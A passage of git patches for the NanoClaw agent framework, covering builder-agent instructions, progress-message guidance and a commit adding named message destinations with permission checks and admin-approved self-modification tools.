name: "Builder", instructions: "" })` — the returned agent group ID is your builder +3. Call `send_to_agent({ agentGroupId, text: "" })` +4. The builder works in its own container, makes the changes, and reports back +5. You review the builder's summary, confirm with the user, then call `request_rebuild` if the changes require it + +### Builder Agent Instructions (use as CLAUDE.md when creating) + +``` +You are a builder agent. Your job is to make precise, minimal code changes to NanoClaw source files when the main agent requests it. + +## Rules + +- **Minimal scope.** Only change what was requested. Do not refactor surrounding code, "improve" unrelated files, or add features not asked for. +- **Diff size limits.** Reject any change that exceeds 200 new lines or 150 modified lines in a single task. If the change is larger, push back and ask for it to be split into smaller tasks. +- **Read before writing.** Always read the target file fully before editing. Understand the existing patterns. +- **Test if possible.** If there are relevant tests, run them after your change. +- **Report back.** When done, use send_to_agent to tell the requesting agent: (a) what files you changed, (b) a summary of the changes, (c) any follow-up needed (rebuild, tests, migrations). +- **No silent failures.** If you can't complete the task, explain why — don't produce partial work without flagging it. + +## Safety + +- Never edit files outside the requested scope +- Never commit or push anything +- Never modify secrets, credentials, or .env files +- If a change would break existing tests, stop and report +``` + +## Diff Size Limits — Why + +A 50-line focused change is reviewable. A 500-line sweep is not. Hard limits force the agent to decompose work into reviewable chunks, which: + +- Makes human approval meaningful (you can actually read 150 lines) +- Catches runaway edits early (if the first task hits the limit, the scope was wrong) +- Forces clear acceptance criteria per task + +The limits are **per builder task**, not per session. A 500-line feature is fine as 4 sequential builder tasks of ~125 lines each, each with its own scope. + +## Example: Adding a New MCP Tool to Yourself + +User: "Can you add a tool for reading RSS feeds?" + +1. Check [mcp.so](https://mcp.so) for an existing RSS MCP server +2. If one exists → `add_mcp_server({ name: "rss", command: "npx", args: ["some-rss-mcp"] })` → `request_rebuild` → done +3. If nothing suitable exists → delegate to a builder agent: + - `create_agent({ name: "RSS Tool Builder", instructions: "" })` + - `send_to_agent({ agentGroupId, text: "Add an MCP tool 'read_rss' to container/agent-runner/src/mcp-tools/. It should fetch an RSS URL and return the latest N items. Register it in mcp-tools/index.ts. Target: <200 new lines." })` + - Wait for builder's report + - `request_rebuild` if needed + +## Example: Installing a System Tool + +User: "Can you transcribe audio?" + +1. Check what's available — `which ffmpeg` (likely not installed in base image) +2. Decide approach: `@xenova/transformers` (npm, workspace-local) or `whisper.cpp` (apt + compile) +3. For persistent system tool: `install_packages({ apt: ["ffmpeg"], npm: ["@xenova/transformers"], reason: "Audio transcription for voice messages" })` +4. Wait for admin approval +5. `request_rebuild({ reason: "Apply audio transcription packages" })` +6. Wait for admin approval +7. Test the new capability once the container restarts + +## When NOT to Self-Customize + +- **The change is for a one-off task** — just do it in your workspace, don't modify the container +- **The request is ambiguous** — ask the user what they actually need before spinning up builders or requesting installs +- **You don't know if it will work** — prototype in your workspace first (`npm install` in `/workspace/agent/`), then promote to container-level install if it proves useful diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index d2b2658..13bf4a8 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -14,9 +14,17 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c ## Communication -Your output is sent to the user or group. +Your output is sent to the user or group. Be concise — every message costs the reader's attention. -You also have `mcp__nanoclaw__send_message` which sends a message immediately while you're still working. This is useful when you want to acknowledge a request before starting longer work. +Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final output). Pace your updates to the length of the work: + +- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and report in your final output. No mid-work messages. +- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. Don't leave them waiting in silence. +- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. "About to install ffmpeg — this'll take a minute" is better than the user wondering if you're stuck. + +**Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call. + +**Outcomes, not play-by-play.** When the work is done, the final message should be about the result, not a transcript of what you did. ### Internal thoughts From e83ffbc1033c49bd5f2b6814dc090f2bd9f8ec8b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 16:31:37 +0300 Subject: [PATCH 043/295] feat: named destinations + permission enforcement + fire-and-forget self-mod MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replaces implicit routing context (NANOCLAW_PLATFORM_ID env vars) with per-agent named destination maps. Agents reference channels and peer agents by local names; the host re-validates every outbound route against a new agent_destinations table that is both the routing map and the ACL. Model changes: - New migration 004 adds agent_destinations (agent_group_id, local_name, target_type, target_id). Backfills from existing messaging_group_agents. - Host writes /workspace/.nanoclaw-destinations.json before every container wake so admin changes take effect on next start. - Container loads map at startup, appends system-prompt addendum listing available destinations and the syntax. - Agent main output is parsed for blocks; each block becomes a messages_out row with routing resolved via the local map. Untagged text and are scratchpad (logged only). - send_message MCP tool now takes `to` (destination name) instead of raw routing fields. send_to_agent deleted (redundant — agents are just destinations). send_file/edit_message/add_reaction route via map too. - Inbound formatter adds from="name" attribute via reverse-lookup so the agent sees a consistent namespace in both directions. Permission enforcement: - Host checks hasDestination() before every channel delivery AND every agent-to-agent route. Unauthorized messages dropped and logged. - routeAgentMessage simplified: ~15 lines, no JSON parse, content copied verbatim (target formatter resolves the sender via its own local map). - create_agent is admin-only, checked at both the container (tool not registered for non-admins) and the host (re-check on receive). Inserts bidirectional destination rows so parent↔child comms work immediately. Includes path-traversal guard on folder name. Self-modification cleanup: - add_mcp_server now requires admin approval (previously had none). - install_packages validates package names on BOTH sides (container tool + host receiver) with strict regex. Max 20 packages per request. - All three self-mod tools are fire-and-forget: write request, return immediately with "submitted" message. Admin approval triggers a chat notification to the requesting agent — no tool-call polling, no 5-min holds. On rebuild/mcp_server approval, the container is killed so the next wake picks up new config/image. - Approval delivery extracted into requestApproval() helper (the one place where three call sites were literally identical). Also folded in the phase-1 dynamic import cleanup (create_agent no longer does `await import('./db/agent-groups.js')`) and removes NANOCLAW_PLATFORM_ID / CHANNEL_TYPE / THREAD_ID env-var routing entirely. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/messages-out.ts | 19 + container/agent-runner/src/destinations.ts | 91 ++++ container/agent-runner/src/formatter.ts | 15 +- container/agent-runner/src/index.ts | 8 +- .../agent-runner/src/integration.test.ts | 19 +- .../agent-runner/src/mcp-tools/agents.ts | 78 +-- container/agent-runner/src/mcp-tools/core.ts | 111 +++-- container/agent-runner/src/mcp-tools/index.ts | 19 +- .../agent-runner/src/mcp-tools/self-mod.ts | 58 +-- container/agent-runner/src/poll-loop.ts | 81 +++- groups/global/CLAUDE.md | 30 +- setup/register.ts | 37 +- src/container-runner.ts | 14 +- src/db/agent-destinations.ts | 74 +++ src/db/db-v2.test.ts | 2 +- src/db/migrations/004-agent-destinations.ts | 81 ++++ src/db/migrations/index.ts | 3 +- src/delivery.ts | 457 ++++++++++-------- src/index.ts | 110 +++-- src/session-manager.ts | 43 ++ src/types.ts | 10 + 21 files changed, 942 insertions(+), 418 deletions(-) create mode 100644 container/agent-runner/src/destinations.ts create mode 100644 src/db/agent-destinations.ts create mode 100644 src/db/migrations/004-agent-destinations.ts diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index 3d2f411..2d03b37 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -103,6 +103,25 @@ export function getMessageIdBySeq(seq: number): string | null { return outRow.id; } +/** + * Look up the routing fields for a message by seq (for edit/reaction targeting). + * Returns the channel_type, platform_id, thread_id of the referenced message. + */ +export function getRoutingBySeq( + seq: number, +): { channel_type: string | null; platform_id: string | null; thread_id: string | null } | null { + const inbound = getInboundDb(); + const inRow = inbound + .prepare('SELECT channel_type, platform_id, thread_id FROM messages_in WHERE seq = ?') + .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined; + if (inRow) return inRow; + + const outRow = getOutboundDb() + .prepare('SELECT channel_type, platform_id, thread_id FROM messages_out WHERE seq = ?') + .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined; + return outRow ?? null; +} + /** Get undelivered messages (for host polling — reads from outbound.db). */ export function getUndeliveredMessages(): MessageOutRow[] { return getOutboundDb() diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts new file mode 100644 index 0000000..663dcd4 --- /dev/null +++ b/container/agent-runner/src/destinations.ts @@ -0,0 +1,91 @@ +/** + * Destination map loaded at container startup from + * /workspace/.nanoclaw-destinations.json (written by the host on wake). + * + * The map is BOTH the routing table and the ACL — if a name/target + * isn't in here, the agent can't reach it. + */ +import fs from 'fs'; + +export interface DestinationEntry { + name: string; + displayName: string; + type: 'channel' | 'agent'; + channelType?: string; + platformId?: string; + agentGroupId?: string; +} + +const DEST_FILE = '/workspace/.nanoclaw-destinations.json'; + +let cache: DestinationEntry[] = []; + +export function loadDestinations(): void { + try { + if (!fs.existsSync(DEST_FILE)) { + cache = []; + return; + } + const raw = fs.readFileSync(DEST_FILE, 'utf-8'); + const parsed = JSON.parse(raw) as { destinations?: DestinationEntry[] }; + cache = Array.isArray(parsed.destinations) ? parsed.destinations : []; + } catch (err) { + console.error(`[destinations] Failed to load: ${err instanceof Error ? err.message : String(err)}`); + cache = []; + } +} + +export function getAllDestinations(): DestinationEntry[] { + return cache; +} + +/** Test-only: inject destinations without touching the filesystem. */ +export function setDestinationsForTest(destinations: DestinationEntry[]): void { + cache = destinations; +} + +export function findByName(name: string): DestinationEntry | undefined { + return cache.find((d) => d.name === name); +} + +/** + * Reverse lookup: given routing fields from an inbound message, find + * which destination they correspond to (what does this agent call the sender?). + */ +export function findByRouting( + channelType: string | null | undefined, + platformId: string | null | undefined, +): DestinationEntry | undefined { + if (!channelType || !platformId) return undefined; + if (channelType === 'agent') { + return cache.find((d) => d.type === 'agent' && d.agentGroupId === platformId); + } + return cache.find((d) => d.type === 'channel' && d.channelType === channelType && d.platformId === platformId); +} + +/** Generate the system-prompt addendum describing destinations and syntax. */ +export function buildSystemPromptAddendum(): string { + if (cache.length === 0) { + return [ + '## Sending messages', + '', + 'You currently have no configured destinations. You cannot send messages until an admin wires one up.', + ].join('\n'); + } + + const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', '']; + for (const d of cache) { + const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; + lines.push(`- \`${d.name}\`${label}`); + } + lines.push(''); + lines.push('To send a message, wrap it in a `...` block.'); + lines.push('You can include multiple `` blocks in one response to send to multiple destinations.'); + lines.push('Text outside of `` blocks is scratchpad — logged but not sent anywhere.'); + lines.push('Use `...` to make scratchpad intent explicit.'); + lines.push(''); + lines.push( + 'To send a message mid-response (e.g., an acknowledgment before a long task), call the `send_message` MCP tool with the `to` parameter set to a destination name.', + ); + return lines.join('\n'); +} diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index 87be2d6..eca2b4d 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -1,3 +1,4 @@ +import { findByRouting } from './destinations.js'; import type { MessageInRow } from './db/messages-in.js'; /** @@ -123,7 +124,19 @@ function formatSingleChat(msg: MessageInRow): string { const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; const replyPrefix = formatReplyContext(content.replyTo); const attachmentsSuffix = formatAttachments(content.attachments); - return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; + + // Look up the destination name for the origin (reverse map lookup). + // If not found, fall back to a raw channel:platform_id marker so nothing + // gets silently dropped — this should only happen if the destination was + // removed between when the message was received and when it's being processed. + const fromDest = findByRouting(msg.channel_type, msg.platform_id); + const fromAttr = fromDest + ? ` from="${escapeXml(fromDest.name)}"` + : msg.channel_type || msg.platform_id + ? ` from="unknown:${escapeXml(msg.channel_type || '')}:${escapeXml(msg.platform_id || '')}"` + : ''; + + return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; } function formatTaskMessage(msg: MessageInRow): string { diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 1513f5c..8bada5b 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -26,6 +26,7 @@ import fs from 'fs'; import path from 'path'; import { fileURLToPath } from 'url'; +import { buildSystemPromptAddendum, loadDestinations } from './destinations.js'; import { createProvider, type ProviderName } from './providers/factory.js'; import { runPollLoop } from './poll-loop.js'; @@ -44,12 +45,17 @@ async function main(): Promise { const provider = createProvider(providerName, { assistantName }); - // Load global CLAUDE.md as additional system context + // Load destination map (written by host on every wake) + loadDestinations(); + + // Load global CLAUDE.md as additional system context, then append destinations addendum let systemPrompt: string | undefined; if (fs.existsSync(GLOBAL_CLAUDE_MD)) { systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); log('Loaded global CLAUDE.md'); } + const addendum = buildSystemPromptAddendum(); + systemPrompt = systemPrompt ? `${systemPrompt}\n\n${addendum}` : addendum; // Discover additional directories mounted at /workspace/extra/* const additionalDirectories: string[] = []; diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index ae76e87..90aae2b 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -1,6 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; +import { setDestinationsForTest } from './destinations.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { getPendingMessages } from './db/messages-in.js'; import { MockProvider } from './providers/mock.js'; @@ -8,10 +9,21 @@ import { runPollLoop } from './poll-loop.js'; beforeEach(() => { initTestSessionDb(); + // Provide a test destination map so output parsing can resolve "discord-test" → routing + setDestinationsForTest([ + { + name: 'discord-test', + displayName: 'Discord Test', + type: 'channel', + channelType: 'discord', + platformId: 'chan-1', + }, + ]); }); afterEach(() => { closeSessionDb(); + setDestinationsForTest([]); }); function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { @@ -27,7 +39,7 @@ describe('poll loop integration', () => { it('should pick up a message, process it, and write a response', async () => { insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); - const provider = new MockProvider(() => '42'); + const provider = new MockProvider(() => '42'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -40,7 +52,6 @@ describe('poll loop integration', () => { expect(JSON.parse(out[0].content).text).toBe('42'); expect(out[0].platform_id).toBe('chan-1'); expect(out[0].channel_type).toBe('discord'); - expect(out[0].thread_id).toBe('thread-1'); expect(out[0].in_reply_to).toBe('m1'); // Input message should be acked (not pending) @@ -54,7 +65,7 @@ describe('poll loop integration', () => { insertMessage('m1', { sender: 'Alice', text: 'Hello' }); insertMessage('m2', { sender: 'Bob', text: 'World' }); - const provider = new MockProvider(() => 'Got both messages'); + const provider = new MockProvider(() => 'Got both messages'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -69,7 +80,7 @@ describe('poll loop integration', () => { }); it('should process messages arriving after loop starts', async () => { - const provider = new MockProvider(() => 'Processed'); + const provider = new MockProvider(() => 'Processed'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000); diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts index a9443de..55fceac 100644 --- a/container/agent-runner/src/mcp-tools/agents.ts +++ b/container/agent-runner/src/mcp-tools/agents.ts @@ -1,7 +1,13 @@ /** - * Agent-to-agent MCP tools: send_to_agent, create_agent. + * Agent management MCP tools: create_agent. + * + * send_to_agent was removed — sending to another agent is now just + * send_message(to="agent-name") since agents and channels share the + * unified destinations namespace. + * + * create_agent is admin-only. Non-admin containers never see this tool + * (see mcp-tools/index.ts). The host re-checks permission on receive. */ -import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -21,55 +27,16 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } -function sleep(ms: number): Promise { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -export const sendToAgent: McpToolDefinition = { - tool: { - name: 'send_to_agent', - description: 'Send a message to another agent group.', - inputSchema: { - type: 'object' as const, - properties: { - agentGroupId: { type: 'string', description: 'Target agent group ID' }, - text: { type: 'string', description: 'Message content' }, - sessionId: { type: 'string', description: 'Target specific session (optional)' }, - }, - required: ['agentGroupId', 'text'], - }, - }, - async handler(args) { - const agentGroupId = args.agentGroupId as string; - const text = args.text as string; - if (!agentGroupId || !text) return err('agentGroupId and text are required'); - - const id = generateId(); - - writeMessageOut({ - id, - kind: 'chat', - channel_type: 'agent', - platform_id: agentGroupId, - thread_id: (args.sessionId as string) || null, - content: JSON.stringify({ text }), - }); - - log(`send_to_agent: ${id} → ${agentGroupId}`); - return ok(`Message sent to agent ${agentGroupId} (id: ${id})`); - }, -}; - export const createAgent: McpToolDefinition = { tool: { name: 'create_agent', - description: 'Create a new agent group dynamically. Returns the new agent group ID.', + description: + 'Create a new child agent with a given name. The name you choose becomes the destination name you use to message this agent. Admin-only. Fire-and-forget — you will receive a notification when the agent is created.', inputSchema: { type: 'object' as const, properties: { - name: { type: 'string', description: 'Agent display name' }, - instructions: { type: 'string', description: 'CLAUDE.md content (agent instructions/personality)' }, - folder: { type: 'string', description: 'Folder name (default: auto-generated from name)' }, + name: { type: 'string', description: 'Human-readable name (also becomes your destination name for this agent)' }, + instructions: { type: 'string', description: 'CLAUDE.md content for the new agent (personality, role, instructions)' }, }, required: ['name'], }, @@ -79,7 +46,6 @@ export const createAgent: McpToolDefinition = { if (!name) return err('name is required'); const requestId = generateId(); - writeMessageOut({ id: requestId, kind: 'system', @@ -88,28 +54,12 @@ export const createAgent: McpToolDefinition = { requestId, name, instructions: (args.instructions as string) || null, - folder: (args.folder as string) || null, }), }); log(`create_agent: ${requestId} → "${name}"`); - - // Poll for host response - const deadline = Date.now() + 30_000; - while (Date.now() < deadline) { - const response = findQuestionResponse(requestId); - if (response) { - const parsed = JSON.parse(response.content); - markCompleted([response.id]); - if (parsed.status === 'success') { - return ok(`Agent created: ${parsed.result.agentGroupId} (name: ${parsed.result.name}, folder: ${parsed.result.folder})`); - } - return err(parsed.result?.error || 'Failed to create agent'); - } - await sleep(1000); - } - return err('Timed out waiting for agent creation response'); + return ok(`Creating agent "${name}". You will be notified when it is ready.`); }, }; -export const agentTools: McpToolDefinition[] = [sendToAgent, createAgent]; +export const agentTools: McpToolDefinition[] = [createAgent]; diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index c607c6c..d36b029 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -1,10 +1,16 @@ /** * Core MCP tools: send_message, send_file, edit_message, add_reaction. + * + * All outbound tools resolve destinations via the local destination map + * (see destinations.ts). Agents reference destinations by name; the map + * translates name → routing tuple. Permission enforcement happens on + * the host side in delivery.ts via the agent_destinations table. */ import fs from 'fs'; import path from 'path'; -import { writeMessageOut, getMessageIdBySeq } from '../db/messages-out.js'; +import { findByName, getAllDestinations } from '../destinations.js'; +import { getMessageIdBySeq, getRoutingBySeq, writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -15,14 +21,6 @@ function generateId(): string { return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; } -function routing() { - return { - platform_id: process.env.NANOCLAW_PLATFORM_ID || null, - channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, - thread_id: process.env.NANOCLAW_THREAD_ID || null, - }; -} - function ok(text: string) { return { content: [{ type: 'text' as const, text }] }; } @@ -31,68 +29,89 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } +function destinationList(): string { + const all = getAllDestinations(); + if (all.length === 0) return '(none)'; + return all.map((d) => d.name).join(', '); +} + +function resolveRouting( + to: string, +): { channel_type: string; platform_id: string } | { error: string } { + const dest = findByName(to); + if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; + if (dest.type === 'channel') { + return { channel_type: dest.channelType!, platform_id: dest.platformId! }; + } + return { channel_type: 'agent', platform_id: dest.agentGroupId! }; +} + export const sendMessage: McpToolDefinition = { tool: { name: 'send_message', - description: 'Send a chat message to the current conversation or a specified destination.', + description: + 'Send a message to a named destination. Use destination names from your system prompt (not raw IDs).', inputSchema: { type: 'object' as const, properties: { + to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1")' }, text: { type: 'string', description: 'Message content' }, - channel: { type: 'string', description: 'Target channel type (default: reply to origin)' }, - platformId: { type: 'string', description: 'Target platform ID' }, - threadId: { type: 'string', description: 'Target thread ID' }, }, - required: ['text'], + required: ['to', 'text'], }, }, async handler(args) { + const to = args.to as string; const text = args.text as string; - if (!text) return err('text is required'); + if (!to || !text) return err('to and text are required'); + + const routing = resolveRouting(to); + if ('error' in routing) return err(routing.error); const id = generateId(); - const r = routing(); - const seq = writeMessageOut({ id, kind: 'chat', - platform_id: (args.platformId as string) || r.platform_id, - channel_type: (args.channel as string) || r.channel_type, - thread_id: (args.threadId as string) || r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: null, content: JSON.stringify({ text }), }); - log(`send_message: #${seq} ${id} → ${r.channel_type || 'default'}/${r.platform_id || 'default'}`); - return ok(`Message sent (id: ${seq})`); + log(`send_message: #${seq} → ${to}`); + return ok(`Message sent to ${to} (id: ${seq})`); }, }; export const sendFile: McpToolDefinition = { tool: { name: 'send_file', - description: 'Send a file to the current conversation.', + description: 'Send a file to a named destination.', inputSchema: { type: 'object' as const, properties: { + to: { type: 'string', description: 'Destination name' }, path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' }, text: { type: 'string', description: 'Optional accompanying message' }, filename: { type: 'string', description: 'Display name (default: basename of path)' }, }, - required: ['path'], + required: ['to', 'path'], }, }, async handler(args) { + const to = args.to as string; const filePath = args.path as string; - if (!filePath) return err('path is required'); + if (!to || !filePath) return err('to and path are required'); + + const routing = resolveRouting(to); + if ('error' in routing) return err(routing.error); const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath); if (!fs.existsSync(resolvedPath)) return err(`File not found: ${filePath}`); const id = generateId(); const filename = (args.filename as string) || path.basename(resolvedPath); - const r = routing(); - // Copy file to outbox const outboxDir = path.join('/workspace/outbox', id); fs.mkdirSync(outboxDir, { recursive: true }); fs.copyFileSync(resolvedPath, path.join(outboxDir, filename)); @@ -100,21 +119,21 @@ export const sendFile: McpToolDefinition = { writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: null, content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), }); - log(`send_file: ${id} → ${filename}`); - return ok(`File sent (id: ${id}, filename: ${filename})`); + log(`send_file: ${id} → ${to} (${filename})`); + return ok(`File sent to ${to} (id: ${id}, filename: ${filename})`); }, }; export const editMessage: McpToolDefinition = { tool: { name: 'edit_message', - description: 'Edit a previously sent message.', + description: 'Edit a previously sent message. Targets the same destination the original message was sent to.', inputSchema: { type: 'object' as const, properties: { @@ -132,15 +151,18 @@ export const editMessage: McpToolDefinition = { const platformId = getMessageIdBySeq(seq); if (!platformId) return err(`Message #${seq} not found`); - const id = generateId(); - const r = routing(); + const routing = getRoutingBySeq(seq); + if (!routing || !routing.channel_type || !routing.platform_id) { + return err(`Cannot determine destination for message #${seq}`); + } + const id = generateId(); writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: routing.thread_id, content: JSON.stringify({ operation: 'edit', messageId: platformId, text }), }); @@ -170,15 +192,18 @@ export const addReaction: McpToolDefinition = { const platformId = getMessageIdBySeq(seq); if (!platformId) return err(`Message #${seq} not found`); - const id = generateId(); - const r = routing(); + const routing = getRoutingBySeq(seq); + if (!routing || !routing.channel_type || !routing.platform_id) { + return err(`Cannot determine destination for message #${seq}`); + } + const id = generateId(); writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: routing.thread_id, content: JSON.stringify({ operation: 'reaction', messageId: platformId, emoji }), }); diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index f98143d..b011628 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -9,6 +9,7 @@ import { Server } from '@modelcontextprotocol/sdk/server/index.js'; import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; +import { loadDestinations } from '../destinations.js'; import type { McpToolDefinition } from './types.js'; import { coreTools } from './core.js'; import { schedulingTools } from './scheduling.js'; @@ -20,7 +21,23 @@ function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); } -const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools, ...selfModTools]; +// Load the destination map — this process is spawned fresh for each container +// wake, so the map file is always fresh (written by the host before spawn). +loadDestinations(); + +// Only admin agents get the create_agent tool. Non-admins never see it in the +// listTools response; the host also re-checks permission on receive as defense +// in depth (see delivery.ts create_agent handler). +const isAdmin = process.env.NANOCLAW_IS_ADMIN === '1'; +const conditionalAgentTools = isAdmin ? agentTools : []; + +const allTools: McpToolDefinition[] = [ + ...coreTools, + ...schedulingTools, + ...interactiveTools, + ...conditionalAgentTools, + ...selfModTools, +]; const toolMap = new Map(); for (const t of allTools) { diff --git a/container/agent-runner/src/mcp-tools/self-mod.ts b/container/agent-runner/src/mcp-tools/self-mod.ts index 9a0ef18..0a0d8e3 100644 --- a/container/agent-runner/src/mcp-tools/self-mod.ts +++ b/container/agent-runner/src/mcp-tools/self-mod.ts @@ -1,11 +1,13 @@ /** * Self-modification MCP tools: install_packages, add_mcp_server, request_rebuild. * - * These tools request changes to the agent's container configuration. - * install_packages and request_rebuild require admin approval. - * add_mcp_server takes effect on next container restart without approval. + * All three are fire-and-forget — the tool writes a system action row and + * returns immediately. The host processes the request (including admin + * approval) and notifies the agent via a chat message when complete. + * + * Package names are sanitized here at the tool boundary AND re-validated on + * the host side (defense in depth). */ -import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -25,37 +27,20 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } -function sleep(ms: number): Promise { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -async function pollForResponse(requestId: string, timeoutMs: number) { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - const response = findQuestionResponse(requestId); - if (response) { - const parsed = JSON.parse(response.content); - markCompleted([response.id]); - if (parsed.status === 'success') { - return ok(JSON.stringify(parsed.result || 'Success')); - } - return err(parsed.result?.error || parsed.selectedOption || 'Request denied'); - } - await sleep(2000); - } - return err(`Request timed out after ${timeoutMs / 1000}s`); -} +const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; +const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; +const MAX_PACKAGES = 20; export const installPackages: McpToolDefinition = { tool: { name: 'install_packages', description: - 'Request installation of system (apt) or Node.js (npm) packages in the container. Requires admin approval. Takes effect after container rebuild.', + 'Request installation of apt or npm packages. Requires admin approval. Fire-and-forget: you will receive a notification when the request is approved or rejected. After approval, call request_rebuild to apply the changes.', inputSchema: { type: 'object' as const, properties: { - apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install' }, - npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally' }, + apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install (names only, no version specs or flags)' }, + npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally (names only, no version specs)' }, reason: { type: 'string', description: 'Why these packages are needed' }, }, }, @@ -64,6 +49,12 @@ export const installPackages: McpToolDefinition = { const apt = (args.apt as string[]) || []; const npm = (args.npm as string[]) || []; if (apt.length === 0 && npm.length === 0) return err('At least one apt or npm package is required'); + if (apt.length + npm.length > MAX_PACKAGES) return err(`Maximum ${MAX_PACKAGES} packages per request`); + + const invalidApt = apt.find((p) => !APT_RE.test(p)); + if (invalidApt) return err(`Invalid apt package name: "${invalidApt}". Only lowercase letters, digits, and ._+- allowed.`); + const invalidNpm = npm.find((p) => !NPM_RE.test(p)); + if (invalidNpm) return err(`Invalid npm package name: "${invalidNpm}". No version specs or shell characters.`); const requestId = generateId(); writeMessageOut({ @@ -71,7 +62,6 @@ export const installPackages: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'install_packages', - requestId, apt, npm, reason: (args.reason as string) || '', @@ -79,7 +69,7 @@ export const installPackages: McpToolDefinition = { }); log(`install_packages: ${requestId} → apt=[${apt.join(',')}] npm=[${npm.join(',')}]`); - return await pollForResponse(requestId, 300_000); + return ok(`Package install request submitted. You will be notified when admin approves or rejects.`); 